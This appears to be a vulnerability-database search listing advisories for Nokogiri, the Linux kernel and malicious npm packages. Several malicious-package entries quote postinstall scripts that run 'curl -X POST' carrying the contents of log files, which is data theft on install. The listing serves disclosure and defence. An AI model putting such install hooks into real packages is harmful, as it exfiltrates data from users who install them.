Lucene search
+L

255547 matches found

AlpineLinux
AlpineLinux
added 2026/06/25 2:33 p.m.12 views

CVE-2026-57436

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::Documentroot= validated only that the new root was a Nokogiri::XML::Node, allowing a DTD node to be set as the document root. The result is a heap use-after-free during garbage...

6.3CVSS5.8AI score0.00321EPSS
SaveExploits0References1
OSV
OSV
added 2026/06/25 2:33 p.m.10 views

CVE-2026-57436 Nokogiri: Possible Use-After-Free when setting `Document#root=` to an invalid node type

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::Documentroot= validated only that the new root was a Nokogiri::XML::Node, allowing a DTD node to be set as the document root. The result is a heap use-after-free during garbage...

6.3CVSS5.9AI score
SaveExploits0References3
EUVD
EUVD
added 2026/06/25 2:32 p.m.14 views

EUVD-2026-39424

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could...

6.3CVSS5.9AI score0.00358EPSS
SaveExploits0References1
CVE
CVE
added 2026/06/25 2:32 p.m.38 views

CVE-2026-57434

CVE-2026-57434 affects Nokogiri (Ruby) prior to version 1.19.4. A bug in allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node can cause a NULL pointer dereference, potentially crashing the process. The vulnerability is fixed in 1.19.4. Connected sources (OSV, D...

7.5CVSS5.9AI score0.00358EPSS
SaveExploits0References1Affected Software1
OSV
OSV
added 2026/06/25 2:32 p.m.9 views

CVE-2026-57434 Nokogiri: Null Pointer Dereference calling methods on uninitialized wrapper classes

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could...

6.3CVSS6AI score
SaveExploits0References3
AlpineLinux
AlpineLinux
added 2026/06/25 2:32 p.m.11 views

CVE-2026-57434

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could...

7.5CVSS5.8AI score0.00358EPSS
SaveExploits0References1
Cvelist
Cvelist
added 2026/06/25 2:32 p.m.50 views

CVE-2026-57434 Nokogiri: Null Pointer Dereference calling methods on uninitialized wrapper classes

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from Nokogiri::XML::Node. This caused a NULL pointer dereference that could...

6.3CVSS0.00358EPSS
SaveExploits0References1
AlpineLinux
AlpineLinux
added 2026/06/25 2:31 p.m.10 views

CVE-2026-57235

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::NodeSet and its alias slice checked the requested index against the node set's bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then...

8.2CVSS5.8AI score0.00341EPSS
SaveExploits0References1
OSV
OSV
added 2026/06/25 2:31 p.m.9 views

CVE-2026-57235 Nokogiri: Possible Out-of-Bounds Read in `Nokogiri::XML::NodeSet#[]`

Nokogiri is an open source XML and HTML library for the Ruby programming language. Prior to 1.19.4, Nokogiri::XML::NodeSet and its alias slice checked the requested index against the node set's bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then...

6.3CVSS5.9AI score
SaveExploits0References3
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/06/25 10:51 a.m.21 views

Malicious code in dttsdee (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56d01c47d29d1f8f25a737be42dd77d02a2c13a00afb808740142197a79150e9 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-25.log"...

6AI score
SaveExploits0References1
OSV
OSV
added 2026/06/25 10:36 a.m.14 views

ROOT-APP-NPM-CVE-2026-32236 CVE-2026-32236 in @rootio/backstage__plugin-auth-backend - Patched by Root

Root has patched CVE-2026-32236 in the @rootio/backstageplugin-auth-backend package for Root:npm. Multiple fixed versions available...

7.5CVSS5.8AI score0.00293EPSS
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/06/25 10:11 a.m.14 views

Malicious code in easy-string-kit232 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/"...

6AI score
SaveExploits0References1
OSV
OSV
added 2026/06/25 10:5 a.m.9 views

MAL-2026-6460 Malicious code in dddooo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 31763ebf0ebdd35b636e728b408f41ff8852cddeb34db5e188dc17c8374c6948 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-16.log"...

6AI score
SaveExploits0References3
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/06/25 10:5 a.m.16 views

Malicious code in dddooo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 31763ebf0ebdd35b636e728b408f41ff8852cddeb34db5e188dc17c8374c6948 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-16.log"...

6AI score
SaveExploits0References3
NVD
NVD
added 2026/06/25 9:16 a.m.14 views

CVE-2026-53153

In the Linux kernel, the following vulnerability has been resolved: mm/listlru: drain before clearing xarray entry on reparent memcgreparentlistlrus clears the dying memcg's xarray entry with xasstore&xas, NULL before reparenting its per-node lists into the parent. This opens a window where a...

7.8CVSS0.00099EPSS
SaveExploits0References6
OSV
OSV
added 2026/06/25 9:16 a.m.7 views

UBUNTU-CVE-2026-53243

In the Linux kernel, the following vulnerability has been resolved: rseq: Fix using an uninitialized stack variable in rseqexituserupdate There is an bug in which an uninitialized stack variable is used in rseqexituserupdate as reported by syzbot: BUG: KMSAN: kernel-infoleak in rseqsetidsgetcsadd...

5.5CVSS5.7AI score0.00107EPSS
SaveExploits0References5
OSV
OSV
added 2026/06/25 8:39 a.m.8 views

CVE-2026-53243 rseq: Fix using an uninitialized stack variable in rseq_exit_user_update()

In the Linux kernel, the following vulnerability has been resolved: rseq: Fix using an uninitialized stack variable in rseqexituserupdate There is an bug in which an uninitialized stack variable is used in rseqexituserupdate as reported by syzbot: BUG: KMSAN: kernel-infoleak in rseqsetidsgetcsadd...

5.8AI score
SaveExploits0References5
CVE
CVE
added 2026/06/25 8:39 a.m.72 views

CVE-2026-53243

CVE-2026-53243 affects the Linux kernel component related to RSEQ (rseq_exit_user_update). The issue is an uninitialized stack variable used in the initialization of the struct rseq_ids, where ids.node_id is derived from ids.cpu_id before it is initialized, enabling potential information leakage....

5.5CVSS5.7AI score0.00107EPSS
SaveExploits0References2Affected Software1
OSV
OSV
added 2026/06/25 8:39 a.m.15 views

MAL-2026-6459 Malicious code in easy-string-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cb77d96cfd133340395df1765df2426f8414d80158e62ee5832ab6d4a18e803 package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl POST requests harvesting...

6AI score
SaveExploits0References8
EUVD
EUVD
added 2026/06/25 8:38 a.m.11 views

EUVD-2026-39244

In the Linux kernel, the following vulnerability has been resolved: mm/listlru: drain before clearing xarray entry on reparent memcgreparentlistlrus clears the dying memcg's xarray entry with xasstore&xas, NULL before reparenting its per-node lists into the parent. This opens a window where a...

5.8AI score0.00099EPSS
SaveExploits0References3
Rows per page
Query Builder